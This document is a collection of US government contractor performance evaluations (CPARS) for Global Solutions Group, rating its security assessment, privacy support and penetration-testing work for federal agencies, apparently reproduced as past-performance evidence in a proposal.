	Vendor Name: GLOBAL SOLUTIONS GROUP. INC.
	Division Name:
	Street: 25900 GREENFIELD RD STE 220
	City: OAK PARK
	State: MI Zip: 482371267
	Country: USA
	CAGE Code:
	Unique Entity ID: VH3UE9S2T6E5
	Product/Service Code: DJ01 Principal NAICS Code: 541511
	Evaluation Type: Final
	Contract Percent Complete: 100
	Period of Performance Being Assessed: 09/16/2022 - 02/21/2023
	Contract Number: 140D0422A0008 140D0422F0872 Business Sector & Sub-Sector: Nonsystems - Prof/Tech/Mng Support
	Contracting Office: IBC ACQ SVCS DIRECTORATE (00004) Contracting Officer: CHIHARU BULLOCK Phone Number: 703-964-3624
	Location of Work:
	Date Signed: 09/16/2022 Period of Performance Start Date: 09/16/2022
	Est. Ultimate Completion Date/Last Date to Order: 02/21/2023 Estimated/Actual Completion Date: 02/21/2023
	Funding Office ID: 140D37
	Base and All Options Value: \$275,542 Action Obligation: \$275,542
	Complexity: Medium Termination Type: None
	Extent Competed: Full and Open Competition Type of Contract: Labor Hours
	Key Subcontractors and Effort Performed:
	Unique Entity ID:
	Effort:
	Unique Entity ID:
	Effort:
	Unique Entity ID:
	Effort:
	Design three how
	Project Number:
	Project little:
	Contract Effort Description
	The Contractor shall provide requirity assessment support for Department of State
	(DOS) from the Department of the Interior, Office of Chief Information Officer's Information Systems Security Line of Business (ISSLoB).
	Small Business Subcontracting:
	FOR OFFICIAL USE ONLY
ht	tps://cpars.cpars.gov/cpars/app/appviewevaluation_input.action?id=3380276&requestType=P 1/3
_	



11/30/23, 4:54 PM

CPARS

FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Does this contract include a subcontracting plan? No

Date of last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (SSR): N/A

Evaluation Areas	Past Rating	Rating
Quality:	N/A	Very Good
Schedule:	N/A	Very Good
Cost Control:	N/A	Very Good
Management:	N/A	Very Good
Small Business Subcontracting:	N/A	N/A
Regulatory Compliance:	N/A	Satisfactory
Other Areas:		
(1):		N/A
(2):		N/A
(3):		N/A

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%):

Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: The Contractor demonstrated the ability to deliver quality support through the planning, management, and execution of program tasks throughout the life of the order and provided the resources that fully meet or exceed the minimum qualifications required by the Government.

SCHEDULE: The Contractor mitigated schedule risks associated with the transition from the legacy task order to this BPA order by being flexible and proactive to stay on track of the required activities. Contractor met all milestone dates as outlined in the order and project schedule; and submitted all deliverables in a timely manner.

COST CONTROL: The Contractor managed cost to keep it within the allocated funding level with no cost overruns; provided monthly financial reports and invoice previews for CO/COR review prior to invoice submission.

MANAGEMENT: The Contractor performed a seamless transition as a new awardee of the renewal ISSLOB service; by staffing and maintaining a good caliber of team members. The Contractor maintained frequent and timely communication with the Contracting Officer, the Contracting Officer's Representative (COR), and the program office. Their responses to the Government inquiry/request were quick.

REGULATORY COMPLIANCE: The Contractor complied with all contract clauses and pertinent regulations.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

FOR OFFICIAL USE ONLY

https://cpars.cpars.gov/cpars/app/appviewevaluation_input.action?id=3380276&requestType=P



11/30/23, 4:54 PM

CPARS

FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Name and Title of Assessing Official:

Name: Chihaur Bullock

Title: Contracting Officer

Organization: DOI/IBC/AQD

Phone Number: 703-964-3624 Email Address: chiharu_bullock@ibc.doi.gov

Date: 11/27/2023

Contractor Comments:

ADDITIONAL/OTHER: Global Solutions Group greatly appreciated working with the US Department of the Interior and their client, the US Department of State on this engagement which provided security assessment and assessment and authorization support for establishing the extent to which security design and implementation met a set of specified security requirements.

CONCURRENCE: I concur with this evaluation.

Name and Title of Contractor Representative:

Name: Lisa R Salvador Title: Vice President Phone Number: (248) 291-5440 Email Address: lisas@globalsolgroup.com Date: 11/28/2023

Review by Reviewing Official:

Review by Reviewing Official not required.

Name and Title of Reviewing Official:

Name: Title: Organization: Phone Number: Email Address: Date:

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10.3.2 2023 Privacy and Information Security Services for AmeriCorps (via the Department of the Interior ISSLoB Program)

Synopsis: Quality, Schedule, Cost Control, and Management is Very Good

	11/30/23, 4:50 PM CPARS
	Print Close
	FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 CONTRACTOR PERFORMANCE ASSESSMENT REPORT (CPAR)
	Nonsystems
	Vendor Name: GLOBAL SOLUTIONS GROUP. INC.
	Division Name:
	Street: 25900 GREENFIELD RD STE 220
	City: OAK PARK
	State: MI Zip: 482371267
	Country: USA
	CAGE Code:
	Unique Entity ID: VH3UE9S2T6E5
	Product/Service Code: DJ01 Principal NAICS Code: 541511
	Evaluation Type: Final
	Contract Percent Complete: 100
	Period of Performance Being Assessed: 09/23/2022 - 10/22/2023
	Contract Number: 140D0422A0008 140D0422F0918 Business Sector & Sub-Sector: Nonsystems - Prof/Tech/Mng Support
	Contracting Office: IBC ACQ SVCS DIRECTORATE (00004) Contracting Officer: CHIHARU BULLOCK Phone Number: 7039643624
	Location of Work:
	Date Signed: 09/19/2022 Period of Performance Start Date: 09/19/2022
	Est. Ultimate Completion Date/Last Date to Order: 03/14/2024 Estimated/Actual Completion Date: 10/22/2023
	Funding Office ID: 140D37
	Base and All Options Value: \$2,034,318 Action Obligation: \$2,034,318
	Complexity: Medium Termination Type: None
	Extent Competed: Full and Open Competition Type of Contract: Labor Hours
	Key Subcontractors and Effort Performed:
	Unique Entity ID:
	Effort:
	Unique Entity ID:
	Effort:
	Unique Entity ID:
	Effort:
	Project Number:
	Project Title:
	DOI ISSLoB AmeriCorps Support
	Contract Effort Description:
	The Contractor shall provide privacy and information security service for AmeriCorps from the Department of the Interior, Office of Chief Information Officer's Information Systems Security Line of Business (ISSLoB).
	Small Business Subcontracting:
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Date of last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (SSR): N/A

Evaluation Areas	Past Rating	Rating
Quality:	N/A	Very Good
Schedule:	N/A	Very Good
Cost Control:	N/A	Very Good
Management:	N/A	Very Good
Small Business Subcontracting:	N/A	N/A
Regulatory Compliance:	N/A	Satisfactory
Other Areas:		
(1):		N/A
(2):		N/A
(3) :		N/A

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%):

Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: The Contractor provided quality contractor support with the resources that fully meet or exceed the minimum qualifications required by the Government.

SCHEDULE: In general, the Contractor stayed on track and was flexible when priority changes were needed. When there was a program delay on the customer agency' side, the Contractor proactively responded to minimize the risks of project failure. Submission of the deliverables related contract administration were normally much earlier than expected.

COST CONTROL: The Contractor performed a good burn rate management, making the best efforts to keep actual expenditure under the allocated funding level and proactively informing the government officials of potential funding issues. This was very helpful for the government to determine the level of funding needed, especially when additional resources were needed to perform the new within-the-scope tasks.

MANAGEMENT: The Contractor maintained frequent and timely communication with the CO/COR and the program office. Their responses to the Government inquiry/request were quick. They managed the complexed requirement, handling the evolving requirement under this order. The Contractor management demonstrated their flexibility when the order needed to be extended to avoid a break-in-service. The retention rate of the resources was great for this order.

REGULATORY COMPLIANCE: The Contractor complied with all contract clauses and pertinent regulations.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

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Name and Title of Assessing Official:

Name: Chiharu Bullock Title: Contracting Officer

Organization: DOI/IBC/AQD

Phone Number: 703-964-3624 Email Address: chiharu_bullock@ibc.doi.aqd

Date: 11/27/2023

Contractor Comments:

ADDITIONAL/OTHER: Global Solutions Group greatly appreciated the opportunity to work with the U.S. Department of the Interior and their client, AmeriCorps where we provided support to ensure the security of AmeriCorps' information networks. Global Solutions Group's personnel included Information Security Systems Officers, Security Analysts, Data Privacy Analysts, and other support personnel.

CONCURRENCE: I concur with this evaluation.

Name and Title of Contractor Representative:

Name: LISA SALVADOR Title: Vice President Phone Number: 248-291-5440 Email Address: lisas@globalsolgroup.com Date: 11/28/2023

Review by Reviewing Official:

Review by Reviewing Official not required.

Name and Title of Reviewing Official:

Name: Title: Organization: Phone Number: Email Address: Date:

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10.3.3 2019 Operational Security Assessments, Penetration Testing, and Web Security Assessments

Synopsis: Quality and Cost Control are Exceptional

9/15/22, 5:15 PM		CPARS		
Р	rint Close	View Original Evaluation		
FOR OFFICIAL USE ONLY / SOURCE SELECTION	INFORMATION - SEE	FAR 2.101, 3.104, AND 42.1503		
CONT	RACTOR PERFORMA	NCE ASSESSMENT REPORT (CP	AR)	
MODIFIED E	VALUATION		Nonsystems	
Name/Address of Contractor:				
Vendor Name: GLOBAL SOLUTIONS GROUP	, INC.			
Division Name:				
Street: 25900 GREENFIELD RD STE 220				
City: OAK PARK				
State: MI Zip: 482371267				
Country: USA				
CAGE Code:				
Unique Entity ID (SAM): VH3UE9S2T6E5				
Product/Service Code: D399 Principal NAIC	S Code: 541511			
Evaluation Type: Final				
Contract Percent Complete:				
Period of Performance Being Assessed: 0	9/06/2019 - 12/16/201	19		
Contract Number: AG3144B170004 123144	18F0556 Business S	ector & Sub-Sector: Nonsystem	s - Telecommunications	
Contracting Office: USDA, OCP-POD-ACQ-!	IGMT-BRANCH-FTC	Contracting Officer: SHANNON S	SCHIERLING Phone Number: 970-295	-5505
Location of Work:				
Date Signed: 09/06/2018 Period of Perfor	mance Start Date: 0	9/06/2018		
Est. Ultimate Completion Date/Last Date	to Order: 12/16/2019	Estimated/Actual Completion	Date: 12/16/2019	
Funding Office ID:				
Base and All Options Value : \$389,202 Act	ion Obligation: \$389),202		
Complexity: Low Termination Type: Non	e			
Extent Competed: Full and Open Competit	ion Type of Contrac	t: Firm Fixed Price		
Key Subcontractors and Effort Performed	l:			
Unique Entity ID (SAM):				
Effort:				
Unique Entity ID (SAM):				
Effort:				
Unique Entity ID (SAM):				
Effort:				
Project Number:				
Project Title:				
Web Application Testing				
Contract Effort Description:				
Perform Operational Security Assessments,	Penetration Testing a	and Web Security Assessments fo	r USDA agencies.	
Small Business Subcontracting:				
Does this contract include a subcontracting	plan? No			
Date of last Individual Subcontracting Repo	rt (ISR) / Summary Su	bcontracting Report (SSR): N/A		
Evaluation Areas	Past Rating	Rating		
FOR OFFICIAL USE ONLY				
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9/15/22, 5:15 PM		CPARS
FOR OFFICIAL USE ONLY / SOURCE SELE	ECTION INFORMATION - SEE FAR 2.	101, 3.104, AND 42.1503
Quality:	Exceptional	Exceptional
Schedule:	Very Good	Very Good
Cost Control:	Exceptional	Exceptional
Management:	N/A	N/A
Small Business Subcontracting:	N/A	N/A
Regulatory Compliance:	Satisfactory	Satisfactory
Other Areas:		
(1):		N/A
(2) :		N/A
(3) :		N/A

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: Upon award of this Order, Global Solutions was not provided a Scope. The vendor subsequently worked hand-in-hand with the end customer to identify all requirements and then created the most up-to-date methodology per current standards and requirements. Despite log-in issues to High-Value Application (HVA) sites, and dealing with non-compatible Government Furnished Equipment (GFE), the vendor worked day and night with no additional costs to complete deliverables. The vendor's resulting reports have been deemed exceptional. COR Harry Leyden concurs with these statements.

SCHEDULE: Despite log-in issues to High-Value Application (HVA) sites, and dealing with non-compatible Government Furnished Equipment (GFE), the vendor worked day and night with no additional costs to complete deliverables. The vendor's resulting reports have been deemed exceptional. COR Harry Leyden concurs with these statements.

COST CONTROL: Global Solutions accommodated the end-user and worked remotely on all Web Application Testing which saved the government \$8,000 in Travel Costs.

In addition - during the performance of the 23 Web Application Tests required on this order, the vendor was asked to perform 10 more Web Application Tests under the same order. Global Solutions provided the 10 additional Web Application Tests at NO COST to the government.

Despite log-in issues to High-Value Application (HVA) sites, and dealing with non-compatible Government Furnished Equipment (GFE), the vendor worked day and night with no additional costs to complete deliverables.

For these reasons, the rating was EXCEPTIONAL and the COR Harry Leyden concurred.

REGULATORY COMPLIANCE: Contractor met all regulatory requirements in accordance with the contract terms and conditions

OTHER AREAS: Global Solutions Group is customer oriented and provides excellent account management going above and beyond to meet customer deadlines, provide deliverables and keep costs within contractual limits. Excellent work with the customer to define additional scope issues. Communications performed in a timely manner. Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: SHANNON SCHIERLING

Title: Contracting Officer

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9/15/22, 5:15 PM

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FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Organization: Acquisition Management Branch - FTC Phone Number: 970-295-5505 Email Address: shannon.schierling@usda.gov Date: 02/13/2020

Contractor Comments:

This evaluation has been modified, please see the original evaluation to view the contractor comments.

Name and Title of Contractor Representative:

Name: Title: Phone Number: Email Address: Date:

Review by Reviewing Official:

Concur with changes.

Name and Title of Reviewing Official:

Name: Jason Kuhl Title: Branch Chief Organization: Procurement Operations Division Phone Number: Email Address: Date: 02/13/2020

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10.3.4 2019 Operational Security Assessment, Penetration Testing, and Web Security Assessment

Synopsis: Quality is Exceptional

Print Close Vew Original Evaluation CONTRACTOR FEROMANCE ASSESSMENT REPORT (CRAN) Contractor FEROMANCE ASSESSMENT REPORT (CRAN) Vendra Name: GLOBAL SOLUTIONS GROUP, INC. Vendra Name: GLOBAL SOLUTIONS GROUP, IN	/15/22, 5:20 PM			CPARS		
EVERTICAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 CONTRACTOR FERFORMANCE ASSESSMENT REPORT (CPAR) Vendor Name: GLOBAL SOUTTIONS GROUP, INC. USA COBE DAYLING IN		Print (Close Vie	w Original Evaluat	ion	
LOUNDEREPORTANCE ASSESSMENT REPORT (CPAR) MODIFIED EVALUATION Nonsystems Variability IDE EVALUATION	FOR OFFICIAL USE ONLY / SOURCE S	ELECTION INFORMAT	TION - SEE FAR 2	.101, 3.104, AND 42.1	503	
MODIFIED EVALUATION Nonsystems Imain/Address of contractor Nonsystems Nonsystems Vendor Name: Stat:::::::::::::::::::::::::::::::::::		CONTRACTOR P	ERFORMANCE /	SSESSMENT REPOR	T (CPAR)	
Name/Address of Contractor: Vendor Name: CLOBAL SOLUTIONS GROUP, INC. Division Name: Street: 23900 GREENFILED BD STE 220 City: OAK PARK State: MI 27: 482371267 Country: USA CAGE Code: Unique Entity ID (SAM): VH3UE9S2TEES Product/Service Code: 3399 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Rumber: AS3144017004 123144187004 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Code:: USA, OC.P-POD. ACQ-MGMT-BRANCH-FTC Contracting Office: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed:: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Utimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: 3 524,160 Action Obligation: 5924,160 Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Estent Completed: Full and Open Completion Type of Contract: Firm Fixed Price Key Subcentractors and Effort Performed: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Title: Project Title: Project Title: Project Title: Project Title: Profect Subsciencts: Full Subcontracting Raport (ISR) / Summary Subcontracting Report (ISR): N/A Date of last Individual Subcontracting Ipan? No Date is last Individual Subcontracting Ipan? No Date of last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (ISR): N/A Date of last Individual Subcontracting	М	ODIFIED EVALUATION	1		Nonsystems	
Vendor Name: GLOBAL SOLUTIONS GROUP, INC. Division Name: Street: 2900 GREENFIELD RD STE 220 Cify: 0XA FARK State: M1 Zip: 482371267 Country: USA CAGE Code: Unique Entity ID (SAM): VH3UE9S2TEES Frodu/Lifewriee Code: 239 Principal NACS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Wumber: AG31448170004 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-PDD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Ultimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value : 5924,160 Action Obligation: 5924,160 Complexity: Medium Termination Type: None Extent Completion Svalue : 5924,160 Action Obligation: 5924,160 Complexity: Medium Termination Type: None Extent Completion Value : 5924,160 Action Obligation: 5924,160 Complexity: Medium Termination Type: None Extent Stretty ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Number: Project Title: Project Title: Project Title: Project Title: Project Title: Profert Title: Profe	Name/Address of Contractor:					
DMision Name: Stret: 2590 (SREFIFIELD RD STE 220 City: OAK PARK Stor:: 2500 (SREFIFIELD RD STE 220 City: OAK PARK Stor:: USA CASE Code: County: USA CASE Code: Unique Entity ID (SAM): HUBUESSITEES Product/Srviee Code: D399 Principal NACS Code: 541511 Contract Percent Complete: Period of Performance Being Assessessed: 09/14/019 - 11/15/019 Contract Number: AG31448170004 12314418F0604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Information Complete: Period of Performance Being Assessessed: 09/14/019 - 11/15/019 Contract Number: AG31448170004 12314418F0604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-POD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHERELING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/018 Period of Performance Start Date: 09/14/2018 Est. Utimate Completion Date/Last Date to Order: 11/15/019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and II Options Value : 592,100 Action Obligation: 592,100 Complexity: Medium Termination Type: Non Extent Completei: Full and Open Competition Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Number: Project Number: Project IIIe: Project Number: Project IIIe: Project IIIIe: Project IIIe: Pro	Vendor Name: GLOBAL SOLUTION	IS GROUP, INC.				
Street: 23900 GREENIELD RD STE 220 City: OAK PARK State: MI 27: 42371267 Country: USA CAGE Code: Unique Entity ID (SAM): VH3UE9S276E5 Product/Service Code: D399 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG314B170000 1231441870040 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Number: AG304007 AG30407 AG304004 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contract Ompletion Date/Last Date to Order: 11/15/2019 Funding Office ID Base and AID Options Value : 5924,160 Complexity: Medium Termination Type: None Extent Completed: Full and Open Competition Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Project Number: Project Number: Proje	Division Name:					
City: 20X PARK State: III Zip: 492371267 Country: USA CAGE Code: Unique Entity ID (SAM): VH3UE9S2T6E5 Product/Service Code: 2039 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Completei Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Number: AG31448170004 1231441870004 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-POD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Utimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: 5924.160 Action Obligation: 5924,160 Complexity: Medium Termination Type: None Extent Complete: Full and Options Value: 5924.160 Action Obligation: 5924,160 Complexity: Medium Termination Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Effort: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Title: Project Title: Project Title: Project Title: Project Title: Project Subcontracting plan? No Date of last Individual Subcontracting plan? No Da	Street: 25900 GREENFIELD RD STI	220				
State:: Wit Zip: 482371267 Country:: Unique Entity ID (SAM): VH3UE95276E5 Product/Service Code:: Diague Entity ID (SAM): VH3UE95276E5 Product/Service Code:: Diague Entity ID (SAM): VH3UE95276E5 Period of Performance Being Assessed:: 09/14/2019 - 11/15/2019 Contract: Deterent Complete: Period of Performance Being Assessed:: 09/14/2019 - 11/15/2019 Contract:: Ontract:: Diague Entity ID (SAM): Diague Entity ID (SAM): Est:: Ultimate Completion Date/Last Date to Order:: 11/15/2019 Est:: 11/15/2019 Pass and All Options Value:: 5924,160 Action Obligation: 5924,160 Completion Date:: 11/15/2019 Base and All Options Value:: 5924,160 Action Obligation: 5924,160 Completion Type:: Feriodice Order:: Feriodice Or	City: OAK PARK					
Contro:: USA CAGE Code: Unique Entity ID (SAM): VH3UE9S2T6E5 Product/Service Code: D399 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Number: AG31448170004 12314418F0604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USAN, OCP-POD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est: Utimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: \$924,160 Action Obligation: \$924,160 Complexity: Medium Termination Type: None Extent Competed: Full and Open Competition Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Title: Project Title: Penetration testing Contract Effort Bescription: Perform operational security assessments for USDA agencies Small Business Subcontracting Pian? No Date of last include a subcontract	State: MI Zip: 482371267					
CAGE Code: Unique Entity ID (SAM): VH3UE9S2T6ES Product/Service Code: D399 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assesset: 09/14/2019 - 11/15/2019 Contract Number: A31441B70004 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-POD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Ultimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: \$924,160 Action Obligation: \$924,160 Complexity: Medium Termination Type: None Extent Completed: Full and Open Competition Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Title: Project Title: Project Title: Project Title: Perform operational security assessments, penetration testing and web security assessments for USDA agencies Small Business Subcontracting Plan? No Date of Last Individual Subcontracting plan? No Date of Last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (SSR): N/A	Country: USA					
Unique Entity ID (SAM): Final and the second of the se	CAGE Code:					
Product/Service Code: 0299 Principal NAICS Code: 541511 Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Number: AG3144B170004 12314418F0604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP - POD-ACQ-MGMT-BRANCH-FTC Contracting Office: SHANNON SCHERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Ultimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value : 5924,160 Action Obligation: 5924,160 Complexity: Medium Termination Type: None Extent Complexity: Medium Conformed: University of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Number: Project Title: Penderation testing Contract Effort Description: Perform operational security assessments, penetration testing and web security assessments for USDA agencies Small Business Subcontracting: Does this contract include a subcontracting plan? No Dest this contract include a subcontracting plan? No Dest fils contract include a subcontracting Plan? No Dest	Unique Entity ID (SAM): VH3UE9S	2T6E5				
Evaluation Type: Final Contract Percent Complete: Period of Performance Being Assessed: Period of Performance Being Assessed: 09/14/2019 - 11/15/2019 Contract Number: AG3144B170004 12314418F0604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-POD-ACQ-MGMT-BRANCH-FCC Date Signed: 09/18/2018 Period of Performance Start Date: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Utimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: \$924,160 Complexity: Medium Termination Type: Neglexity: Medium Termination Type: Vinque Entity ID (SAM): Effort: Unique Entity ID (SAM): Effort: Project Title: Project Title: Perford Performance Superstring and web security assessments for USDA agencies Small Business Subcontracting Report (ISR) / Summary Subcontracting Report (ISR): N/A Pat Rating Rating Rating	Product/Service Code: D399 Prin	cipal NAICS Code: 54	1511			
Contract Percent Complete: Period of Performance Being Assesset: Ontract Number: AG3144B170004 1231441870604 Business Sector & Sub-Sector: Nonsystems - Telecommunications Contracting Office: USDA, OCP-POD-ACQ-MGMT-BRANCH-FTC Contracting Officer: SHANNON SCHIERLING Phone Number: 970-295-5505 Location of Work: Date Signed: 09/18/2018 Period of Performance Start Date: 09/14/2018 Est. Ultimate Completion Date/Last Date to Order: 11/15/2019 Estimated/Actual Completion Date: 11/15/2019 Funding Office ID: Base and All Options Value: 5924,160 Complexity: Medium Termination Type: None Extent Competed: Full and Open Competition Type of Contract: Firm Fixed Price Key Subcontractors and Effort Performed: Unique Entity ID (SAM): Effort: Effort: Unique Entity ID (SAM): Effort: Project Number: Project Title: Project Title: Penetration last subcontracting plan? No Dast is contract include a subcontracting plan? No Dast of last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (SSR): N/A	Evaluation Type: Final					
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9/15/22, 5:20 PM		CPARS		
FOR OFFICIAL USE ONLY / SOURCE SELE	CTION INFORMATION - SEE FAI	R 2.101, 3.104, AND 42.1503		
Quality:	Exceptional	Exceptional		
Schedule:	Very Good	Very Good		
Cost Control:	Satisfactory	Satisfactory		
Management:	N/A	N/A		
Small Business Subcontracting:	N/A	N/A		
Regulatory Compliance:	Very Good	Very Good		
Other Areas:				
(1):		N/A		
(2) :		N/A		
(3):		N/A		

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: Despite current reorganization of USDA agency/personnel, Global Solutions navigated through the changing environment to gather detailed requirements and provide high-quality penetration testing reports. The vendor also provided 24 hours - 7 days per week support to all agencies during their scan. Several feedback reports were sent from end customers to support this information.

SCHEDULE: Global Solutions provided all requirements on time despite the USDA reorganization. Vendor was active and continuously reaching out to the various agencies ahead of time - reminding them of upcoming schedule of activities and requesting required information ahead of time, enabling every scan to be on time. The contract was extended only due to furlough, which was beyond vendor control.

COST CONTROL: Firm fixed price contract; invoices were accurate and complete.

REGULATORY COMPLIANCE: Global Solutions routinely utilized well recognized, state of the art industry tools to ensure the most current regulatory changes. The vendor understands the critical nature of IT work and spared no expense or time in ensuring compliance.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: SHANNON SCHIERLING Title: Contracting Officer Organization: Acquisition Management Branch - FTC Phone Number: 970-295-5505 Email Address: shannon.schierling@usda.gov Date: 12/30/2019

Contractor Comments:

This evaluation has been modified, please see the original evaluation to view the contractor comments.

Name and Title of Contractor Representative:

Name: Title: Phone Number: Email Address:

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9/15/22, 5:20 PM

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Review by Reviewing Official:

This office rates CPARs in accordance with criterion outlined in guidance.

Name and Title of Reviewing Official:

Name: Jason Kuhl Title: Branch Chief Organization: Procurement Operations Division Phone Number: Email Address: Date: 02/11/2020

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10.3.5 2018 Penetration Testing for USDA Agencies

Synopsis: Quality and Schedule are Exceptional

